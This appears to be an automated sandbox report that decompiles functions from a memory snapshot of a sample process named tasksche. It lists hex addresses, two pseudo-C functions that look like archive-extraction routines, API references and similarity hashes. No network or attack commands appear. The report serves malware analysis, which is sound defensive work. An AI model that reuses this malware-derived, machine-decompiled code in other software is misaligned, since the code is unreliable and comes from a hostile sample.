0x00402b67
0x00402b67
0x00000000
0x00402b5e
0x00402861
0x00402862
0x00402b30
0x00402b35
0x00402b37
0x00000000
0x00000000
0x00402b3d
0x00402b45
0x00402b4f
0x004028b1
0x004028b3
0x00000000
0x004028b3
0x00402868
0x00402869
0x00402a68
0x00402a6b
0x00000000
0x00000000
0x00402a71
0x00402a7c
0x00402a7e
0x00402a85
0x00402a88
0x00402a8b
0x00402a8d
0x00402a8f
0x00402a91
0x00402a93
0x00402ab7
0x00402a95
0x00402aa3
0x00402aa3
0x00402a93
0x00402abc
0x00402ac0
0x00402ac2
0x00402ac4
0x00402ac6
0x00402aea
0x00402ac8
0x00402ad6
0x00402ad6
0x00402ac6
0x00402aef
0x00402af3
0x00402af9
0x00402afb
0x00402afd
0x00402b24
0x00402aff
0x00402b0d
0x00402b0d
0x00402afd
0x00000000
0x00402af3
0x00402a73
0x00402a76
0x00000000
0x00000000
0x00000000
0x00402a76
0x0040286f
0x00402870
0x00402a07
0x00402a0a
0x00000000
0x00000000
0x00402a10
0x00402a1b
0x00402a1d
0x00402a29
0x00402a2b
0x00402a3d
0x00402a44
0x00402a49
0x00402a5e
0x00402a5e
0x00000000
0x00402a2b
0x00402a12
0x00402a15
0x00000000
0x00000000
0x00000000
0x00402a15
0x00402876
0x00402877
0x00402996
0x0040299c
0x004029a3
0x004029a5
0x004029b0
0x004029b2
0x004029b9
0x004029bf
0x004029c9
0x004029cb
0x004029d0
0x004029d0
0x004029e5
0x004029fd
0x00000000
0x004029fd
0x0040287d
0x0040287e
0x004028bf
0x004028cc
0x004028da
0x004028e0
0x004028e3
0x004028e9
0x004028f0
0x004028f3
0x004028f5
0x004028fe
0x00402906
0x00402909
0x0040290b
0x0040290b
0x00402914
0x0040291c
0x0040291c
0x00402920
0x00402924
0x0040292d
0x00402935
0x00402938
0x0040293a
0x0040293a
0x00402940
0x00402949
0x00402951
0x00402951
0x00402955
0x0040295c
0x00402965
0x00402965
0x0040296b
0x00402972
0x0040297b
0x0040297b
0x00402981
0x00000000
0x00402981
0x00402881
0x00000000
0x00000000
0x0040288a
0x0040288f
0x00402895
0x00402897
0x0040289c
0x0040289c
0x00402895
0x004028a5
0x004028aa
0x004028ab
0x00000000
0x004028ab
0x00402c6c
0x00402c6c
0x00402c6f
0x00402c75
0x00402c7b
0x00000000
0x00000000
0x00000000
0x00402c7b
0x00402835
0x0040278f
0x00402c82

APIs

_swprintf.LIBCMT ref: 00402A44

Strings

;%u, xrefs: 00402A32

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _swprintf
String ID: ;%u
API String ID: 589789837-535004727
Opcode ID: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction ID: 268b90de5ef8301e543b0e1450f18e5b796866e9caf2f0e9a7a428077d8a2ebb
Opcode Fuzzy Hash: 8d6632be75e15c05decfb529c35803f2aea70f16b1fc9be6edc689b65e1f5e46
Instruction Fuzzy Hash: ADE114702007445ADB24EF75C699BEE77E5AF40304F04053FE996A72C2DBBCA984CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416790 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416790(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				void* _t181;
				signed int _t184;
				signed int _t185;
				signed int _t190;
				signed int _t194;
				signed int _t195;
				intOrPtr _t196;
				signed int _t197;
				signed int _t203;
				signed int _t215;
				signed int _t248;
				signed int _t250;
				intOrPtr* _t263;
				signed int _t264;
				signed int* _t266;
				signed int _t267;
				signed int* _t268;
				signed int* _t269;
				intOrPtr* _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr _t281;
				signed int* _t310;
				void* _t319;
				signed int _t321;
				signed int* _t328;
				signed int _t329;
				void* _t330;
				void* _t332;
				signed int _t334;
				signed int _t335;
				void* _t338;
				signed int _t340;
				signed int _t342;
				void* _t343;
				void* _t345;
				void* _t346;
				void* _t347;
				void* _t349;

				_t319 = __edx;
				E0041A4DC(E0042981F, _t343);
				_t346 = _t345 - 0x24;
				_t332 = __ecx;
				_t263 = __ecx + 0xe694;
				_t176 = 0x8000;
				 *((intOrPtr*)(_t343 - 0x10)) = _t263;
				 *((intOrPtr*)(_t263 + 4)) = 0;
				 *_t263 = 0;
				if( *(_t343 + 0x10) <= 0x8000) {
					_t176 =  *(_t343 + 0x10);
				}
				E0041C290(_t263, 0, _t332,  *((intOrPtr*)(_t332 + 0xe6a0)),  *(_t343 + 0xc), _t176);
				_t347 = _t346 + 0xc;
				 *((intOrPtr*)(_t343 - 0x14)) = _t332 + 0xe65c;
				E0040AB32(_t332 + 0xe65c);
				_t352 =  *(_t343 + 8) & 0x00000080;
				if(( *(_t343 + 8) & 0x00000080) == 0) {
					_t179 =  *(_t332 + 0xe6d4);
					 *(_t343 + 0xc) = _t179;
					_t264 = _t179;
				} else {
					_t264 = E0040AB58(_t352, _t263);
					 *(_t343 + 0xc) = _t264;
					if(_t264 != 0) {
						_t264 = _t264 - 1;
						 *(_t343 + 0xc) = _t264;
					} else {
						E004152CD(_t332, 0);
					}
				}
				_t180 =  *(_t332 + 0xe6a8);
				if(_t264 > _t180 || _t264 >  *((intOrPtr*)(_t332 + 0xe6c8))) {
					L16:
					_t181 = 0;
					goto L17;
				} else {
					_push(0x70);
					 *(_t332 + 0xe6d4) = _t264;
					 *((char*)(_t343 + 0x13)) = _t264 == _t180;
					_t328 = E0041A89A(_t264, _t319, 0, _t264 - _t180);
					if(_t328 == 0) {
						_t328 = 0;
						__eflags = 0;
					} else {
						_t21 =  &(_t328[5]); // 0x14
						E004156C4(_t21);
					}
					if( *((char*)(_t343 + 0x13)) == 0) {
						_t184 =  *( *((intOrPtr*)(_t332 + 0xe6a4)) + _t264 * 4);
						_t328[4] = _t264;
						_t266 = _t184 + 8;
						 *_t266 =  *_t266 + 1;
						__eflags =  *_t266;
						 *(_t343 - 0x1c) = _t184;
						goto L23;
					} else {
						if(_t264 <= 0x2000) {
							E004129F9(_t332 + 0xe6a4, 1);
							_push(0x70);
							_t274 = E0041A89A(_t264, _t319, _t328, __eflags);
							__eflags = _t274;
							if(_t274 == 0) {
								_t274 = 0;
								__eflags = 0;
							} else {
								_t25 = _t274 + 0x14; // 0x14
								E004156C4(_t25);
							}
							 *( *((intOrPtr*)(_t332 + 0xe6a4)) +  *(_t332 + 0xe6a8) * 4 - 4) = _t274;
							 *(_t343 - 0x1c) = _t274;
							_t328[4] =  *(_t332 + 0xe6a8) - 1;
							E004148ED(_t332 + 0xe6c4, 0);
							_t266 = _t274 + 8;
							 *_t266 =  *_t266 & 0x00000000;
							L23:
							_t185 = 0;
							 *(_t343 - 0x18) = 0;
							 *(_t343 - 0x20) = 0;
							__eflags =  *(_t332 + 0xe6b8);
							if( *(_t332 + 0xe6b8) <= 0) {
								L30:
								__eflags =  *(_t332 + 0xe6b8) - 0x2000;
								if( *(_t332 + 0xe6b8) > 0x2000) {
									goto L16;
								}
								E004129F9(_t332 + 0xe6b4, 1);
								_t321 = 1;
								__eflags = 1;
								L32:
								 *( *((intOrPtr*)(_t332 + 0xe6b4)) + ( *(_t332 + 0xe6b8) - _t321) * 4) = _t328;
								_t328[2] =  *_t266;
								_t190 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
								__eflags =  *(_t343 + 8) & 0x00000040;
								_t267 = _t190;
								if(( *(_t343 + 8) & 0x00000040) != 0) {
									_t267 = _t267 + 0x102;
									__eflags = _t267;
								}
								__eflags =  *(_t343 + 8) & 0x00000020;
								 *_t328 =  *((intOrPtr*)(_t332 + 0x70)) + _t267 &  *(_t332 + 0xe6dc);
								if(__eflags == 0) {
									_t194 =  *(_t343 + 0xc);
									__eflags = _t194 -  *((intOrPtr*)(_t332 + 0xe6c8));
									if(_t194 >=  *((intOrPtr*)(_t332 + 0xe6c8))) {
										_t195 = 0;
										__eflags = 0;
									} else {
										_t195 =  *( *((intOrPtr*)(_t332 + 0xe6c4)) + _t194 * 4);
									}
									_t328[1] = _t195;
								} else {
									_t248 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
									_t328[1] = _t248;
									 *( *((intOrPtr*)(_t332 + 0xe6c4)) +  *(_t343 + 0xc) * 4) = _t248;
								}
								_t196 =  *((intOrPtr*)(_t332 + 0x74));
								_t281 =  *((intOrPtr*)(_t332 + 0x70));
								__eflags = _t196 - _t281;
								if(_t196 == _t281) {
									L43:
									_t197 = 0;
									__eflags = 0;
									goto L44;
								} else {
									__eflags = (_t196 - _t281 &  *(_t332 + 0xe6dc)) - _t267;
									if((_t196 - _t281 &  *(_t332 + 0xe6dc)) > _t267) {
										goto L43;
									}
									_t197 = 1;
									L44:
									_t91 =  &(_t328[0x13]); // 0x4c
									_t268 = _t91;
									_t328[3] = _t197;
									E0041A820(_t328, _t268, 0, 0x1c);
									_t328[0x17] = _t328[1];
									_t349 = _t347 + 0xc;
									__eflags =  *(_t343 + 8) & 0x00000010;
									_t328[0x16] = 0x3c000;
									_t328[0x18] = _t328[2];
									if(( *(_t343 + 8) & 0x00000010) == 0) {
										L49:
										__eflags =  *((char*)(_t343 + 0x13));
										if(__eflags == 0) {
											_t334 =  *(_t343 - 0x1c);
											L60:
											_t328[9] =  *(_t334 + 0x14);
											_t328[0xa] =  *(_t334 + 0x28);
											_t203 =  *(_t334 + 0x40);
											 *(_t343 + 0x10) = _t203;
											__eflags = _t203 - 1 - 0x1ffe;
											if(_t203 - 1 <= 0x1ffe) {
												_t136 =  &(_t328[0xf]); // 0x3c
												E00401106(_t136, _t203);
												E0041C290(_t136, _t328, _t334,  *_t136,  *((intOrPtr*)(_t334 + 0x3c)),  *(_t343 + 0x10));
												_t349 = _t349 + 0xc;
											}
											__eflags = _t328[0xc] - 0x40;
											if(_t328[0xc] < 0x40) {
												_t140 =  &(_t328[0xb]); // 0x2c
												E00401B67(_t140);
												E00401106(_t140, 0x40);
											}
											_t141 =  &(_t328[0xb]); // 0x2c
											_t269 = _t141;
											_t335 =  *_t269;
											_t142 =  &(_t328[0x13]); // 0x4c
											 *(_t343 + 0xc) = _t335;
											 *(_t343 + 0x10) = _t142;
											 *(_t343 - 0x20) = 7;
											do {
												E0040AB4B( *(_t343 + 0xc),  *( *(_t343 + 0x10)));
												 *(_t343 + 0x10) =  *(_t343 + 0x10) + 4;
												 *(_t343 + 0xc) =  *(_t343 + 0xc) + 4;
												_t153 = _t343 - 0x20;
												 *_t153 =  *(_t343 - 0x20) - 1;
												__eflags =  *_t153;
											} while ( *_t153 != 0);
											_t157 = _t335 + 0x1c; // 0x48
											E0040AB4B(_t157, _t328[1]);
											_t159 = _t335 + 0x20; // 0x4c
											E0040AB4B(_t159, 0);
											_t162 = _t335 + 0x2c; // 0x58
											E0040AB4B(_t162, _t328[2]);
											E0041A820(_t328, _t335 + 0x30, 0, 0x10);
											__eflags =  *(_t343 + 8) & 0x00000008;
											if(( *(_t343 + 8) & 0x00000008) == 0) {
												L74:
												_t181 = 1;
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t343 - 0xc));
												return _t181;
											}
											_t214 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if(__eflags >= 0) {
												goto L16;
											}
											_t215 = E0040AB58(__eflags, _t214);
											 *(_t343 + 8) = _t215;
											__eflags = _t215 - 0x1fc0;
											if(_t215 > 0x1fc0) {
												goto L16;
											}
											_t329 = _t328[0xc];
											_t169 = _t215 + 0x40; // 0x40
											__eflags = _t329 - _t169;
											if(_t329 < _t169) {
												__eflags = _t215 - _t329 + 0x40;
												E00401106(_t269, _t215 - _t329 + 0x40);
											}
											_t330 = 0;
											_t338 =  *_t269 + 0x40;
											__eflags =  *(_t343 + 8);
											if( *(_t343 + 8) <= 0) {
												goto L74;
											} else {
												while(1) {
													_t270 =  *((intOrPtr*)(_t343 - 0x10));
													__eflags =  *_t270 + 3 - 0x8000;
													if( *_t270 + 3 >= 0x8000) {
														goto L16;
													}
													 *((char*)(_t330 + _t338)) = E004097D1(_t270) >> 8;
													E004097BA(_t270, 8);
													_t330 = _t330 + 1;
													__eflags = _t330 -  *(_t343 + 8);
													if(_t330 <  *(_t343 + 8)) {
														continue;
													}
													goto L74;
												}
												goto L16;
											}
										}
										_t272 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										 *(_t343 + 0x10) = _t272;
										__eflags = _t272 - 0x10000;
										if(_t272 >= 0x10000) {
											goto L16;
										}
										_t340 = 0;
										__eflags = _t272;
										if(_t272 == 0) {
											goto L16;
										}
										E00406760(_t343 - 0x30, _t272);
										__eflags = _t272;
										_t273 =  *(_t343 - 0x30);
										 *(_t343 - 4) = 0;
										if(_t272 <= 0) {
											L55:
											_t334 =  *(_t343 - 0x1c);
											E0040AD8E( *((intOrPtr*)(_t343 - 0x14)), _t273,  *(_t343 + 0x10), _t334 + 0x14);
											 *(_t343 - 4) =  *(_t343 - 4) | 0xffffffff;
											__eflags = _t273;
											if(__eflags != 0) {
												_push(_t273);
												E0041A506(_t273, _t328, _t334, __eflags);
											}
											goto L60;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t299 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if( *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 >= 0x8000) {
												break;
											}
											 *((char*)(_t273 + _t340)) = E004097D1(_t299) >> 8;
											E004097BA( *((intOrPtr*)(_t343 - 0x10)), 8);
											_t340 = _t340 + 1;
											__eflags = _t340 -  *(_t343 + 0x10);
											if(_t340 <  *(_t343 + 0x10)) {
												continue;
											}
											goto L55;
										}
										__eflags = _t273;
										if(__eflags != 0) {
											_push(_t273);
											E0041A506(_t273, _t328, _t340, __eflags);
										}
										goto L16;
									}
									_t342 = E004097D1( *((intOrPtr*)(_t343 - 0x10))) >> 9;
									E004097BA( *((intOrPtr*)(_t343 - 0x10)), 7);
									_t103 = _t343 + 0xc;
									 *_t103 =  *(_t343 + 0xc) & 0x00000000;
									__eflags =  *_t103;
									do {
										__eflags = _t342 & 1 <<  *(_t343 + 0xc);
										if(__eflags != 0) {
											 *_t268 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										}
										 *(_t343 + 0xc) =  *(_t343 + 0xc) + 1;
										_t268 =  &(_t268[1]);
										__eflags =  *(_t343 + 0xc) - 7;
									} while ( *(_t343 + 0xc) < 7);
									goto L49;
								}
							} else {
								goto L24;
							}
							do {
								L24:
								 *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + (_t185 -  *(_t343 - 0x18)) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + _t185 * 4));
								_t250 =  *(_t343 - 0x20);
								_t310 =  *((intOrPtr*)(_t332 + 0xe6b4)) + _t250 * 4;
								__eflags =  *_t310;
								if( *_t310 == 0) {
									_t55 = _t343 - 0x18;
									 *_t55 =  *(_t343 - 0x18) + 1;
									__eflags =  *_t55;
								}
								_t321 =  *(_t343 - 0x18);
								__eflags = _t321;
								if(_t321 > 0) {
									 *_t310 =  *_t310 & 0x00000000;
									__eflags =  *_t310;
								}
								_t185 = _t250 + 1;
								 *(_t343 - 0x20) = _t185;
								__eflags = _t185 -  *(_t332 + 0xe6b8);
							} while (_t185 <  *(_t332 + 0xe6b8));
							__eflags = _t321;
							if(__eflags != 0) {
								goto L32;
							}
							goto L30;
						}
						if(_t328 != 0) {
							E00414F64(_t264, _t328, _t328, _t343, 1);
						}
						goto L16;
					}
				}
			}

0x00416790
0x00416795
0x0041679a
0x0041679f
0x004167a1
0x004167aa
0x004167b2
0x004167b5
0x004167b8
0x004167ba
0x004167bc
0x004167bc
0x004167c9
0x004167d4
0x004167d7
0x004167da
0x004167df
0x004167e3
0x00416804
0x0041680a
0x0041680d
0x004167e5
0x004167eb
0x004167ed
0x004167f2
0x004167fe
0x004167ff
0x004167f4
0x004167f7
0x004167f7
0x004167f2
0x0041680f
0x00416817
0x00416866
0x00416866
0x00000000
0x00416821
0x00416823
0x00416825
0x0041682b
0x00416834
0x00416839
0x00416845
0x00416845
0x0041683b
0x0041683b
0x0041683e
0x0041683e
0x0041684b
0x004168d8
0x004168db
0x004168de
0x004168e1
0x004168e1
0x004168e3
0x00000000
0x00416851
0x00416857
0x00416881
0x00416886
0x0041688d
0x00416890
0x00416892
0x0041689e
0x0041689e
0x00416894
0x00416894
0x00416897
0x00416897
0x004168ac
0x004168bf
0x004168c2
0x004168c5
0x004168ca
0x004168cd
0x004168e6
0x004168e6
0x004168e8
0x004168eb
0x004168ee
0x004168f4
0x0041693b
0x0041693b
0x00416945
0x00000000
0x00000000
0x00416953
0x0041695a
0x0041695a
0x0041695b
0x0041696c
0x00416971
0x00416974
0x00416979
0x0041697d
0x0041697f
0x00416981
0x00416981
0x00416981
0x00416992
0x00416996
0x00416998
0x004169b3
0x004169b6
0x004169bc
0x004169c9
0x004169c9
0x004169be
0x004169c4
0x004169c4
0x004169cb
0x0041699a
0x0041699d
0x004169a5
0x004169ae
0x004169ae
0x004169ce
0x004169d1
0x004169d4
0x004169d6
0x004169e9
0x004169e9
0x004169e9
0x00000000
0x004169d8
0x004169e0
0x004169e2
0x00000000
0x00000000
0x004169e6
0x004169eb
0x004169ed
0x004169ed
0x004169f3
0x004169f6
0x004169fe
0x00416a04
0x00416a07
0x00416a0b
0x00416a12
0x00416a15
0x00416a54
0x00416a54
0x00416a58
0x00416af6
0x00416af9
0x00416afc
0x00416b02
0x00416b05
0x00416b0b
0x00416b0e
0x00416b14
0x00416b16
0x00416b1c
0x00416b29
0x00416b2e
0x00416b2e
0x00416b31
0x00416b35
0x00416b37
0x00416b3c
0x00416b45
0x00416b45
0x00416b4a
0x00416b4a
0x00416b4d
0x00416b4f
0x00416b52
0x00416b55
0x00416b58
0x00416b5f
0x00416b6a
0x00416b6f
0x00416b73
0x00416b77
0x00416b77
0x00416b77
0x00416b77
0x00416b82
0x00416b86
0x00416b90
0x00416b94
0x00416b9f
0x00416ba3
0x00416bb0
0x00416bb8
0x00416bbc
0x00416c38
0x00416c38
0x00416868
0x0041686e
0x00416876
0x00416876
0x00416bbe
0x00416bc6
0x00416bcc
0x00000000
0x00000000
0x00416bd3
0x00416bd8
0x00416bdb
0x00416be0
0x00000000
0x00000000
0x00416be6
0x00416be9
0x00416bec
0x00416bee
0x00416bf2
0x00416bf8
0x00416bf8
0x00416bff
0x00416c01
0x00416c04
0x00416c07
0x00000000
0x00416c09
0x00416c09
0x00416c09
0x00416c11
0x00416c16
0x00000000
0x00000000
0x00416c2a
0x00416c2d
0x00416c32
0x00416c33
0x00416c36
0x00000000
0x00000000
0x00000000
0x00416c36
0x00000000
0x00416c09
0x00416c07
0x00416a66
0x00416a68
0x00416a6b
0x00416a71
0x00000000
0x00000000
0x00416a77
0x00416a79
0x00416a7b
0x00000000
0x00000000
0x00416a85
0x00416a8a
0x00416a8c
0x00416a8f
0x00416a92
0x00416abe
0x00416abe
0x00416acc
0x00416ad1
0x00416ad5
0x00416ad7
0x00416ad9
0x00416ada
0x00416adf
0x00000000
0x00000000
0x00000000
0x00000000
0x00416a94
0x00416a94
0x00416a94
0x00416a9c
0x00416aa1
0x00000000
0x00000000
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ab9
0x00416abc
0x00000000
0x00000000
0x00000000
0x00416abc
0x00416ae2
0x00416ae4
0x00416aea
0x00416aeb
0x00416af0
0x00000000
0x00416ae4
0x00416a26
0x00416a29
0x00416a2e
0x00416a2e
0x00416a2e
0x00416a32
0x00416a3a
0x00416a3c
0x00416a46
0x00416a46
0x00416a48
0x00416a4b
0x00416a4e
0x00416a4e
0x00000000
0x00416a32
0x00000000
0x00000000
0x00000000
0x004168f6
0x004168f6
0x0041690a
0x00416913
0x00416916
0x00416919
0x0041691c
0x0041691e
0x0041691e
0x0041691e
0x0041691e
0x00416921
0x00416924
0x00416926
0x00416928
0x00416928
0x00416928
0x0041692b
0x0041692c
0x0041692f
0x0041692f
0x00416937
0x00416939
0x00000000
0x00000000
0x00000000
0x00416939
0x0041685b
0x00416861
0x00416861
0x00000000
0x0041685b
0x0041684b

APIs

__EH_prolog.LIBCMT ref: 00416795

Part of subcall function 004129F9: _realloc.LIBCMT ref: 00412A51

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

_memset.LIBCMT ref: 004169F6
_memset.LIBCMT ref: 00416BB0

Strings

, xrefs: 00416992

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
Opcode ID: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction ID: b2eea235d821e150737843ebb12b5e68f22e0a3d12c725fcd3f3b3fef6346f43
Opcode Fuzzy Hash: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction Fuzzy Hash: 92E1BF71A007499FCB10EF65C980BEEB7B1FF14304F11482EE956A7281DB39E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418B3D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00418B3D(intOrPtr __edx, intOrPtr* _a4, char _a7, signed int _a8, char _a11, short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v4120;
				char _v8216;
				void* __ebx;
				void* __ebp;
				intOrPtr _t93;
				intOrPtr _t107;
				signed int _t116;
				signed int _t123;
				intOrPtr _t137;
				signed int _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				intOrPtr* _t166;
				intOrPtr _t178;
				intOrPtr _t180;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr* _t187;
				void* _t188;

				_t178 = __edx;
				E0041AAF0(0x2014);
				_t187 = _a4;
				_v12 =  *((intOrPtr*)(_t187 + 0x6524));
				_t93 =  *((intOrPtr*)(_t187 + 0x6544));
				_v16 = _t93;
				if(_t93 != 3) {
					_t151 = _t187 + 0x65e8;
					_v8 = _t151;
					_t180 = _t151;
					__eflags = _t93 - 2;
					if(__eflags != 0) {
						L4:
						_a7 = 0;
						L5:
						_t150 = _a8;
						if(_t150 == 0 || _a7 == 0) {
							L12:
							_v24 =  *((intOrPtr*)( *_t187 + 0x10))();
							_v20 = _t178;
							if(_t150 != 0) {
								 *((intOrPtr*)(_t150 + 0x21f8)) =  *((intOrPtr*)(_t150 + 0x21f8)) + E00408E03(_t187, _t178);
								asm("adc [edi+0x4], edx");
							}
							E00408A32(_t187);
							E0040A8A1( &_v4120, 0x800, (E0041A7F7( &_v4120, _t187 + 0x1e) & 0xffffff00 |  *((char*)(_t187 + 0xb05a)) == 0x00000000) & 0x000000ff);
							asm("sbb edi, edi");
							_a11 = 0;
							_t183 =  ~( *(_v12 + 0x5195) & 0x000000ff) & 0x00000004;
							while(1) {
								_push(_t183);
								_push( &_v4120);
								_t157 = _t187;
								if( *((intOrPtr*)( *_t187 + 4))() != 0) {
									break;
								}
								__eflags = _t150;
								if(_t150 != 0) {
									 *(_t150 + 0x2200) =  *(_t150 + 0x2200) & 0x00000000;
									_t38 = _t150 + 0x2204;
									 *_t38 =  *(_t150 + 0x2204) & 0x00000000;
									__eflags =  *_t38;
								}
								__eflags = _a11;
								if(_a11 != 0) {
									L19:
									_t107 = _v12;
									__eflags =  *((char*)(_t107 + 0x517c));
									if( *((char*)(_t107 + 0x517c)) != 0) {
										L25:
										E00406376(0x44,  &_v4120);
										 *((intOrPtr*)( *_t187 + 4))(_t187 + 0x1e, _t183);
										 *((intOrPtr*)( *_t187 + 0xc))(_v24, _v20, 0);
										return 0;
									}
									_t116 = L00411987(_t157,  &_v4120, 0x800);
									__eflags = _t116;
									if(_t116 == 0) {
										goto L25;
									}
									continue;
								} else {
									E0041A7F7( &_v8216, _t187 + 0x1e);
									E0040A8A1( &_v8216, 0x800, 1);
									_t157 = _t187;
									_a11 = 1;
									_t123 =  *((intOrPtr*)( *_t187 + 4))( &_v8216, _t183);
									__eflags = _t123;
									if(_t123 != 0) {
										E0041A7F7( &_v4120,  &_v8216);
										break;
									}
									goto L19;
								}
							}
							E004116C9((_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, (_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, _t187 + 0x1e);
							E004019E7(_t187, _t178, _t188, _a16 - 0x54, 1);
							_t202 = _a7;
							_t166 = _t187;
							if(_a7 == 0) {
								E0040369F(_t178, _t188);
							} else {
								E0040370E(_t166, _t178, _t202, _v16);
							}
							if( *((intOrPtr*)(_t187 + 0x6544)) == 2) {
								E00401A5C(_t187);
								_t178 =  *((intOrPtr*)(_t187 + 0xb04c));
								asm("sbb edx, [esi+0x7634]");
								 *((intOrPtr*)( *_t187 + 0xc))( *((intOrPtr*)(_t187 + 0xb048)) -  *((intOrPtr*)(_t187 + 0x7630)), _t178, 0);
							}
							if(_t150 != 0) {
								_t184 = _v8;
								if(_v16 != 5) {
									 *((char*)(_t150 + 0x21c7)) =  *((intOrPtr*)(_t184 + 0x1089));
									 *((intOrPtr*)(_t150 + 0x20)) =  *((intOrPtr*)(_t184 + 0x1048));
									 *((intOrPtr*)(_t150 + 0x24)) =  *((intOrPtr*)(_t184 + 0x104c));
								} else {
									 *((char*)(_t150 + 0x21c7)) = 0;
								}
								_t137 = E00408E03(_t187, _t178);
								 *(_t150 + 0x21e8) =  *(_t150 + 0x21e8) & 0x00000000;
								 *(_t150 + 0x21ec) =  *(_t150 + 0x21ec) & 0x00000000;
								 *((intOrPtr*)(_t150 + 0x21d0)) = _t137;
								 *((intOrPtr*)(_t150 + 0x21d4)) = _t178;
								E00409885(_t150 + 0x2208,  *((intOrPtr*)(_t184 + 0x1060)),  *((intOrPtr*)(_v12 + 0x7298)));
							}
							return 1;
						} else {
							if( *((intOrPtr*)(_t187 + 0xb050)) == 3) {
								L10:
								asm("sbb ecx, ecx");
								if(E00409AE9(_t150, _t150 + 0x2208, _t178, _t195, _t180 + 0x1060,  ~( *(_t180 + 0x10ba) & 0x000000ff) & _t180 + 0x000010bb) == 0) {
									E0040639F(5, _t187 + 0x1e, _t180 + 0x20);
								}
								goto L12;
							}
							if( *((char*)(_t180 + 0x19)) < 0x14) {
								goto L12;
							}
							_t195 =  *((intOrPtr*)(_t180 + 0x1064)) - 0xffffffff;
							if( *((intOrPtr*)(_t180 + 0x1064)) == 0xffffffff) {
								goto L12;
							}
							goto L10;
						}
					}
					L3:
					_a7 = 1;
					if( *((char*)(_t180 + 0x1089)) != 0) {
						goto L5;
					}
					goto L4;
				}
				_t180 = _t187 + 0x8928;
				_v8 = _t180;
				goto L3;
			}

0x00418b3d
0x00418b45
0x00418b4c
0x00418b55
0x00418b58
0x00418b5f
0x00418b65
0x00418b72
0x00418b78
0x00418b7b
0x00418b7d
0x00418b80
0x00418b8f
0x00418b8f
0x00418b93
0x00418b93
0x00418b98
0x00418bf1
0x00418bf8
0x00418bfb
0x00418c00
0x00418c0f
0x00418c11
0x00418c11
0x00418c16
0x00418c47
0x00418c58
0x00418c5a
0x00418c5e
0x00418cd8
0x00418cda
0x00418ce1
0x00418ce2
0x00418ce9
0x00000000
0x00000000
0x00418c63
0x00418c65
0x00418c67
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c75
0x00418c79
0x00418cb7
0x00418cb7
0x00418cba
0x00418cc1
0x00418d36
0x00418d3f
0x00418d4d
0x00418d5c
0x00000000
0x00418d5f
0x00418ccf
0x00418cd4
0x00418cd6
0x00000000
0x00000000
0x00000000
0x00418c7b
0x00418c86
0x00418c9b
0x00418caa
0x00418cac
0x00418cb0
0x00418cb3
0x00418cb5
0x00418d2d
0x00000000
0x00418d33
0x00000000
